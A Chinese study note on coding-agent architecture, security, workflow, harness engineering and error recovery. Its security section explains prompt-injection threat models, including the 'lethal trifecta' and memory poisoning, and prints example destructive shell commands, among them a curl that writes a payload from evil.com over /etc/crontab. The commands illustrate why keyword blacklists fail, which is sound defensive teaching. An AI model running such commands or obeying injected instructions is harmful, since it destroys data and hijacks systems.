《深入理解 AI Agent》之学习笔记-DAY 10(Coding Agent 基础架构 + 安全 + 工作流程 + Harness 工程 + 故障恢复)
Day 11:Coding Agent 基础架构 + 安全 + 工作流程 + Harness 工程 + 故障恢复
目标
弄懂三件事:为什么"Coding Agent + 文件系统"是通用 Agent 的核心架构、Coding Agent 的安全防线怎么从威胁模型到信任边界层层构建、以及为什么 Agent 的可靠性不取决于"犯不犯错"而取决于"每类错误是否都有对应的检测、恢复与终止路径"。
核心知识点
一、为什么代码是 Agent 的"元能力"
Day 1-4 你学了 Agent = LLM + 上下文 + 工具。但 Ch5 提出一个更深层的观点:代码不只是工具箱里的一个工具,而是一种"能创造新工具的工具"——元能力(meta-capability)。
普通能力是 Agent 能做某件具体的事(回答问题、调 API)。元能力是 Agent 能在运行时当场创造出新的能力:缺工具就写一个,缺规则就编码一条,缺界面就生成一个 HTML。
代码对 Agent 的价值在两个层面:
| 层面 | 价值 | 例子 |
|---|---|---|
| 思考 | 形式化代码让思考高度严谨 | “年龄大于18且已实名认证” → age > 18 and is_verified,毫无歧义 |
| 表达 | 能跑通的代码本身就是逻辑自洽的证明 | 执行结果提供客观的对错标准,自然语言做不到 |
二、Coding Agent 的七个核心工具
一个基础 Coding Agent 只需要七个工具:
| # | 工具 | 对应操作 | 类型 |
|---|---|---|---|
| 1 | Code Interpreter | 执行 Python 代码 | 执行(沙盒内) |
| 2 | Bash Shell | 运行命令行命令 | 执行 |
| 3 | 读文件 | 读取代码/配置/文档 | 感知 |
| 4 | 写文件 | 创建新文件或完全重写 | 执行 |
| 5 | 编辑文件 | 对现有文件局部修改 | 执行 |
| 6 | Glob(搜索文件名) | 按模式匹配定位文件 | 感知 |
| 7 | Grep(搜索文件内容) | 在文件内容中搜索文本模式 | 感知 |
这七个工具主要覆盖 Ch4 的感知和执行两类。协作、事件触发、用户沟通这三类需求由 Agent 框架(编排逻辑)而非工具层处理。
一个简单任务的执行流:用户说"帮我把项目里所有 TODO 注释整理成清单" →
Agent → Grep("TODO", glob="**/*.py") # 搜索文件内容
工具返回 3 个匹配
Agent → Write("TODO_LIST.md", content=...) # 写文件
完成
只用了 Grep + Write 两个工具。如果任务更复杂(统计每个模块的 TODO 数量并画柱状图),Agent 会加 Code Interpreter 执行 Python 做统计和绘图。
三、从 Manus 到 OpenClaw:通用 Agent 的 Coding 内核
工业界实践验证了一个洞察:Coding Agent + 文件系统 = 开放任务型通用 Agent 最核心的技术基础。
为什么是 Coding Agent 而非其他能力?因为几乎所有高效的内容生成最终都要落到代码上:
| 能力 | 为什么是代码 |
|---|---|
| PPT | 本质是 OOXML 格式的代码 |
| Word/PDF | 可通过代码生成 |
| 数据分析可视化 | Python 脚本完成 |
| 浏览器操作 | 成功序列可固化为 RPA 代码 |
| 深度调研 | 代码驱动的 Web 请求和解析 |
文件系统作为 Agent 的中枢:OpenClaw 的设计中,文件系统不只是数据存储——它是 Agent 记忆、知识和能力的中枢:
- 长期记忆存在
MEMORY.md(高层级事实和用户偏好)+ 按日期归档的 Markdown 日志 - 选择 Markdown 而非向量数据库——用户可直接打开文件阅读和修改 Agent 的记忆(记错了删一行即可),Markdown 天然保留时间顺序,可通过 Git 版本控制
- Agent 有写文件能力 → 具备了修改自身外部产物的技术条件
适用边界:
- 以 Coding 为核心架构:开放任务型通用 Agent(深度调研、内容生成、数据处理)——任务边界不确定、产物形态多样
- 不以 Coding 为核心但仍需 coding 能力:垂直领域客服 Agent——核心围绕固定业务流程,但精确计算、数据处理、规则校验仍离不开代码
四、Sessionless 设计
OpenClaw 采用 Sessionless(无会话)设计:没有安装、登录、"打开 App"步骤,Agent 常驻在线,用户通过消息平台随时发一条消息就能得到响应。
工程难点:代码执行环境和文件系统状态如何跨消息存活?用户的两条消息可能间隔几天,Agent 的工作依赖大量隐式状态(沙盒里安装的包、终端工作目录、环境变量、后台服务、写到一半的文件)。
两层状态管理:
| 状态类型 | 持久化方式 | 原因 |
|---|---|---|
| 文件系统状态 | 天然持久——工作区挂载在沙盒之外的持久存储 | 代码、数据、中间产物跨消息不丢失 |
| 进程状态 | 按需保活或重建 | 活跃时保持运行;闲置超时后销毁,销毁前把可序列化状态记录到文件,下次按记录重建 |
关键洞察:持久化的是"可审计的状态描述"(文件、脚本、清单),而不是不透明的运行中进程。
五、Coding Agent 的安全(本章重点)
这是今天技术密度最高的部分。安全防护不是单一防线,而是从威胁模型到信任边界的纵深防御。
1. 威胁模型:致命三要素 + 第四维度
Simon Willison 的"致命三要素"——三个要素齐备就构成完整攻击闭环:
- 访问私有数据 — Agent 能读取用户文件和密码
- 暴露于不受信任内容 — 处理的邮件和网页可能含恶意载荷
- 具备外部通信能力 — 能发邮件和执行命令
攻击路径闭合:恶意指令藏在不可信内容中 → 驱使 Agent 读取私有数据 → 经对外通道传出。
作者补充第四维度——持久记忆:不是并列必要条件,而是攻击放大器。攻击者可把恶意指令写入 Agent 长期记忆,跨会话潜伏,在合适时机触发。
| 四类边界 | 对应要素 |
|---|---|
| 数据边界 | 访问私有数据 |
| 输入信任边界 | 暴露于不受信任内容 |
| 输出影响边界 | 具备外部通信能力 |
| 跨会话边界 | 持久记忆 |
2. 隔离兜底:沙盒工程选型
Ch4 讲了沙盒隔离的分级原理,这里补充 Coding Agent 落地时的四项增量:
| 增量 | 要点 | 对应致命三要素 |
|---|---|---|
| 网络出口控制 | 默认断网,按需白名单代理放行 | 第3条"外部通信能力"的执行面防御 |
| 文件系统隔离 | 源码只读挂载;凭证文件根本不挂载 | 第1条"访问私有数据" |
| 资源限额 | CPU/内存/磁盘配额 + 墙钟超时 | 防 fork 炸弹和死循环 |
| 持久会话与隔离调和 | 会话保活在沙盒内,状态不逃逸到宿主机 | — |
核心原则:超时和超限应返回结构化错误(“执行超过 120 秒被终止,最后输出如下…”)而非静默杀死进程,让 Agent 有机会在下一轮修正策略。
3. 安全:语义解析而非关键字黑名单
Shell 命令的组合爆炸使关键字黑名单形同虚设:rm 被禁了,攻击者可以用 $(echo rm) -rf / 绕过。
生产级 Harness 采用语义解析:理解每个命令的参数类型和消费规则,识别嵌套的危险操作:
| 攻击模式 | 表面无害 | 实际危险 |
|---|---|---|
find / -name '*.log' -exec rm {} \; |
合法的 find 命令 |
通过 -exec 嵌入 rm 删除操作 |
curl -o /etc/crontab http://evil.com/payload |
看似下载文件 | 覆盖系统定时任务 |
这是 Ch1 "基于理解而非匹配"的安全机制的最具挑战性的应用场景。
4. 推测性执行:让安全检查"隐形"
把"展示"和"放行"拆开并行:界面上一边先行显示进度提示(“正在读取文件 src/main.py…”),后台一边同时跑安全检查。
重要澄清:不同于 CPU 的推测执行——CPU 猜错了要回滚状态,这里先行的只是无副作用的 UI 提示,检查未通过只需把提示替换为"等待确认",无需回滚。
Harness 设计的最高境界:安全性不以牺牲用户体验为代价。
5. Agent 为谁效忠:委托方忠诚
问题:Agent 到底站在谁那一边?模型默认"谁说话帮谁",但真实 Agent 常处在多方委托的处境——替你砍价的 Agent,对面坐着的是交涉对手。
忠诚度光谱:两端都会翻车——
| 一端 | 另一端 |
|---|---|
| 太老实:把主人底价直接抖给对手 | 太多疑:连主人正当请求也拒绝 |
提示注入本质上就是一次策反——仓库里的不可信内容、工具返回的输出、第三方 MCP 指令,都是试图让 Agent 倒戈的"对手"。
忠诚度守则:
- 保护主人的私密信息乃至它的"存在性"
- 拒绝时不逐条念出拒绝清单(那本身在泄露)
- 私下的底线 ≠ 对外的立场
- 只执行主人明确、具体的指令
- 顶住重复施压
6. 当 AI 写的代码不可信:信任边界下移
更彻底的立场:把应用层当作不可信的,把数据不变量的强制执行下沉到它下面。
过去三十年软件的完整性边界在应用层(handler 代码决定谁能操作、什么值合法,数据库无条件信任代码)。但 LLM 生成的 handler 经常漏掉权限与完整性检查,这个前提被打破。
新方案(权限内嵌的数据对象):每个数据实体在人类审查过的 schema 里自带声明式权限规则、校验器和后果声明,运行时流水线在每一次写入时强制执行。
实验结果:没有任何一次写入违反声明的不变量;而裸 SQL、LLM 自己写的检查都会漏过数次到数十次违规。代价只是每次写入多花约 2 毫秒。
架构原则:当写代码的和跑代码的都可能不可信时,真正可靠的约束不能待在被生成的代码里,而要待在它下面那层人类审查过的地基里。
六、Coding Agent 的整体工作流程
这是一套推荐的工程化流程,把软件工程最佳实践投射到 Agent 身上。现实中的 Agent 会按需裁剪——简单任务跳过设计文档,只有复杂任务才完整走完各阶段。
项目文档化 → 任务理解与需求澄清 → 编写设计文档 → 代码实现与测试 → 文档同步与交付
1. 项目文档化
Agent 首次接触代码仓库时,首要任务不是马上改代码,而是先建立对整个项目的认知框架——就像新入职工程师第一天先熟悉项目结构。
项目指令文件(CLAUDE.md、AGENTS.md、.cursorrules)已成为业界标准——每次会话开始时自动注入上下文,相当于项目级系统提示词。与 README 不同,指令文件承载的是面向 Agent 的行为约定:构建命令、代码风格、明确禁区。
有趣的推论:对远程工作友好的团队往往也对 AI Agent 友好。 评估团队"AI-ready"程度的简单代理指标:一个远程新人只靠代码仓库和文档能不能独立开展工作。
2. 任务理解与需求澄清
简单需求直接实现;复杂需求通过探索性调研澄清边界,必要时主动与用户对话。
3. 编写设计文档
回答核心问题:修改哪些模块、采用什么方案、需引入哪些新依赖、预期对系统的影响。设计文档为人类提供高效介入点——审查简洁的设计文档比审查数百行代码容易得多。
4. 代码实现与测试
实现后立即进入测试驱动质量保障——编写测试用例 → 执行 → 失败则分析原因、定位问题、修改代码直到测试通过。这个"测试-修复"循环可能多次迭代。
Coding Agent 最常见的偷懒方式:写完代码不跑测试就报告"任务完成"。把"测试通过"而非"代码写完"定义为完成标准。
5. 文档同步与交付
代码修改涉及架构变化时,相应更新架构文档。过时的文档比没有文档更糟糕。
七、Harness 工程在 Coding Agent 中的实践
为什么 Coding Agent 特别适合 Harness 工程
两个维度将任务分成四象限:
| 结果可自动验证 | 结果需人工验证 | |
|---|---|---|
| 目标明确 | 最佳区域:修复有测试用例的 bug | 吞吐量受限:代码重构需人工审查 |
| 目标模糊 | 高效地跑偏:用 linter 优化"代码质量" | 难以启动:“让 UI 更好看” |
Coding Agent 天然处于"目标明确 + 结果可自动验证"象限——测试套件提供验收标准,Linter/类型检查器提供即时验证,Git 提供回退能力。这就是为什么 Coding Agent 是当前所有 Agent 类型中成熟度最高的:不是因为模型特别强,而是因为软件工程几十年积累的基础设施天然构成了一套强大的 Harness。
四条可迁移的设计原则
| 原则 | 一句话 | 例子 |
|---|---|---|
| 约束优先于指导 | 能用代码强制的规则就不要用文档建议 | Linter 规则 > 系统提示词里"请遵循…" |
| 验证要自动化 | 人工审查是不可扩展的瓶颈 | 测试套件、代码质量检查、行为监控 |
| 反馈越快越好,越结构化越好 | 错误信息越详细、越接近错误发生时刻,纠正效率越高 | Ch2 的 Agent 状态栏技术 |
| 回退要可靠 | Agent 在安全网内操作才能大胆试错 | Git 分支、沙盒环境、快照机制 |
约束的另一层目的:防止过程性错误
验收基线管的是结果对不对;执行边界管的是过程——即使结果正确,用错误的方法达成也不行。
| 破坏性捷径 | 表面"修复"了 | 实际后果 |
|---|---|---|
| 修复数据库故障时删库重建 | 故障消失 | 数据没了 |
| 修复编译错误时全删重写 | 编译通过 | 实现没了 |
约束的是动作而非仅仅是结果。 这和 Ch7 将讨论的 reward hacking(奖励结果、惩罚路径)从训练侧回答同一个问题。
工具编排:故障边界控制
并行工具调用时,一个工具失败怎么办?
原则:故障只在同一批并行调用内传播,不上升到父级操作。 同时读三个文件,一个找不到只报告那一个失败,不取消另外两个,更不让整个任务中止。
业界实践
| 案例 | 关键做对了什么 |
|---|---|
| 大规模代码迁移 | 知识存在于代码库本身 + 约束编码进 Linter/CI + 验证纠正全链路自动化 |
| LangChain | 优化 Harness 提升基准任务表现;用 Agent 分析失败轨迹来改进 Harness(数据驱动) |
| Anthropic | 长任务拆为两个角色:初始化 Agent 分解任务清单 + 执行 Agent 逐步推进 |
八、故障与错误恢复(本章工程差距最大的部分)
四层故障分类
| 层级 | 故障类型 | 特点 |
|---|---|---|
| API 层 | 限流(429)、过载、超时、连接中断、输出触顶截断 | 基础设施噪声,与任务内容无关 |
| 工具层 | 幻觉调用、参数畸形、执行异常、反复返回同一错误 | 最危险:模型不加改变地反复重试 |
| 上下文层 | 窗口溢出、压缩失败、轨迹结构损坏(工具调用缺配对结果) | — |
| 控制流层 | 死循环、死亡螺旋(恢复逻辑自身又调用 LLM 出错连锁) | 最隐蔽 |
检测:先分类,再计数
第一个判断不是"要不要重试",而是"值不值得重试"。
- 可重试错误(限流、过载、网络抖动)→ 重试有意义
- 不可重试错误(参数不合法、权限不足、工具不存在)→ 原样重试多少次都一样,必须改变输入或策略
两种模式检测:
- 重复调用指纹:对"工具名 + 参数"算指纹,相同指纹反复出现 = 无进展循环
- 连续失败计数:每条恢复路径维护独立计数器
活性与完整性监控:
- 流式连接最危险的失败不是断开(会立即报错),而是静默卡死——连接通着但数据流停止,需要独立的空闲看门狗
- 轨迹结构损坏(工具调用缺配对结果)时,系统在注入上下文前自动修复配对
每个长连接都需要活性信号,而非仅依赖连接超时。
产品模式 vs 训练模式的微妙区别:产品模式可以用占位符修补缺失消息;训练模式拒绝修复,因为合成占位符会污染训练数据。“产品模式宽容、训练模式严格”。
恢复:分级升级,逐级透明
按对用户透明的程度分级,能用低级别解决就不升级:
| 级别 | 做法 | 细节 |
|---|---|---|
| 1. 静默重试 | 可重试错误的默认动作 | 指数退避 + 随机抖动;区分前后台调用(后台失败直接放弃,不挤占主链路配额) |
| 2. 降级与接续 | 改变请求本身再试 | 输出触顶→提升上限重发→末尾追加元指令接续生成;主模型过载→降级备用模型(需剥离旧模型私有格式块) |
| 3. 暴露给用户 | 所有自动手段用尽后才呈现 | 附上已尝试过的恢复动作 |
工具层错误走另一条路:不终止会话,把错误变成模型的输入——幻觉调用收到"工具不存在",参数校验失败收到附带约束提示的错误。喂回的错误越具体,模型自我纠正成功率越高。
核心原则:错误处理的边界不是单次请求,而是整个恢复循环。 恢复期间扣留错误消息,恢复成功消费者毫无感知,全部失败才一并释放。
终止:每条恢复路径都要有上限
熔断器:每条恢复路径必须有明确上限。Claude Code 的压缩熔断"连续 3 次"阈值来自真实会话统计——曾有一个会话在这条路径上连续失败 3000+ 次,每天全球浪费约 25 万次 API 调用。
死亡螺旋防护:错误路径上触发的逻辑自身又调用 LLM,再次出错,连锁触发。
| 防护 | 做法 |
|---|---|
| 禁用副作用逻辑 | 错误路径上禁用一切会再次调用模型的逻辑(宁可丢掉自动记忆提取) |
| 递归深度计数器 | 检测并打断残余连锁 |
Agent 的可靠性不取决于它犯不犯错,而取决于每类错误是否都有对应的检测、恢复与终止路径。
自测题
- Coding Agent 的七个核心工具分别是什么?它们主要覆盖了 Ch4 五类工具中的哪两类?
- 为什么"Coding Agent + 文件系统"是通用 Agent 的核心架构?为什么选择 Markdown 而非向量数据库存长期记忆?
- Sessionless 设计的工程难点是什么?两层状态管理分别怎么处理?
- 致命三要素是什么?作者补充的第四维度是什么?为什么第四维度是"放大器"而非并列必要条件?
- 为什么关键字黑名单无法防护 Shell 命令?语义解析能识别哪些黑名单无法捕获的攻击?
- 推测性执行和 CPU 的推测执行有什么区别?为什么说它是"Harness 设计的最高境界"?
- 委托方忠诚的"忠诚度光谱"两端分别是什么?提示注入和"策反"是什么关系?
- "信任边界下移"的核心思想是什么?权限内嵌的数据对象做到了什么(“不可能错”)?代价是什么?
- Coding Agent 整体工作流程的五个阶段分别是什么?最常见的偷懒方式是什么?
- Harness 四象限中,Coding Agent 天然处于哪个象限?为什么?四条可迁移的设计原则分别是什么?
- "约束优先于指导"是什么意思?"防止过程性错误"为什么重要?举一个破坏性捷径的例子。
- 故障四层分类分别是什么?检测的第一步判断是什么(不是"要不要重试"而是什么)?
- 恢复的三级升级分别是什么?工具层错误走哪条不同的路?
- 什么是死亡螺旋?怎么防护?熔断器的阈值从哪来?
- (最重要) "Agent 的可靠性不取决于它犯不犯错,而取决于什么?"用一句话完整回答。
更多推荐



所有评论(0)